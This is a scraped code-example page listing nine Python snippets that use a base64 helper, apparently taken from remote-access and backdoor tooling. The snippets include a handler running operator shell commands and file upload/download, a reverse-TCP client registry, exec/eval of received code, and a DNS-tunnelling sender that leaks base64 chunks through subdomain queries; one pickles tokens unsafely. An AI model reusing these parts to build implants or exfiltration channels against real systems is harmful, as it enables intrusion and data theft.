Beispiel #1
0
    def handle(self, cmd):
        if cmd['bg']:
            new = cmd
            new['bg'] = False
            _thread.start_new_thread(self.handle, (new, ))
            cmd['res'] = "started in background"
            return cmd

        if cmd['type'] == "cd":
            cmd['res'] = utils.cd(cmd['dir'])
            return cmd
        elif cmd['type'] == "sh":
            cmd['res'] = utils.b64e(utils.sh(cmd['cmd']))
            return cmd
            # elif cmd['type'] == "exec":
            # 	exec(cmd['cmd'])
            # 	cmd['res'] = utils.b64e("exec'd".encode())
            return cmd
        elif cmd['type'] == "dl":
            fd = open(cmd['fn'], "rb").read()
            cmd['res'] = utils.b64e(fd)
            return cmd
        elif cmd['type'] == "ul":
            with open(cmd['fn'], "wb") as f:
                f.write(utils.b64d(cmd['data']))
            cmd['res'] = "ok"
            return cmd
        elif cmd['type'] == "exit":
            return "exit"
        else:
            cmd['res'] = "invalid type: " + cmd['type']
            return cmd
Beispiel #2
0
 def return_messages():
     dat = request.form
     if not dat['user'] in self.users:
         return "status: unauthorized", 401
     m = json.dumps(self.messages).encode()
     e = xor.encrypt(m, self.users[dat['user']])
     return utils.b64e(e)
Beispiel #3
0
	def listen(self):
		client = reverse_tcp.Handler(self.port, self.password)
		name = utils.b64e(utils.uid().encode())
		if name[:4] in self.clients:
			name = name[:6]
		else:
			name = name[:4]
		if name in self.clients:
			raise RuntimeError("Too many clients")
		self.clients[name] = client
Beispiel #4
0
 def send(self, msg):
     dat = {'user': self.usr, 'time': time.time(), 'msg': msg}
     enc = xor.encrypt(json.dumps(dat).encode(), self.pwd)
     req = requests.post(self.server + "/send",
                         data={
                             'user': self.usr,
                             'msg': utils.b64e(enc)
                         })
     if req.status_code == 401:
         raise BaseException(req.content.decode())
     else:
         return True
Beispiel #5
0
 def do_cmd(self, cmd):
     if cmd['type'] == "sh":
         res = utils.sh(cmd['cmd'])
         return utils.b64e(res)
     elif cmd['type'] == "cd":
         res = utils.cd(cmd['dir'])
         return res
     elif cmd['type'] == "exec":
         exec(cmd['code'])
         return None
     elif cmd['type'] == "eval":
         res = eval(cmd['code'])
         return res
     else:
         return False
Beispiel #6
0
    def send(self, raw):
        enc = utils.b64e(raw)
        buf = 0

        while not buf >= len(enc):
            ts = enc[buf:buf + 8]
            domain = ts + "." + self.send_d

            pkt = dns.DNS(qname=domain)
            pkt.send()

            buf += 8

        pkt = dns.DNS(sport=self.eof)
        pkt.send()
def app_newtoken():
    tkn = utils.uid()
    globals()['keys'][tkn] = time.time()
    enc = utils.b64e(cPickle.dumps(tkn))
    return enc
Beispiel #8
0
	def ul(self, in_file, out_file, bg=False):
		msg = {"type":"ul","fn":out_file,"data":utils.b64e(open(in_file,"rb").read()),"bg":bg}
		res = self.do_msg(msg)
		return res['res']
Beispiel #9
0
 def send(self, raw):
     data = utils.b64e(raw)
     r = requests.post(url, data={'c': data})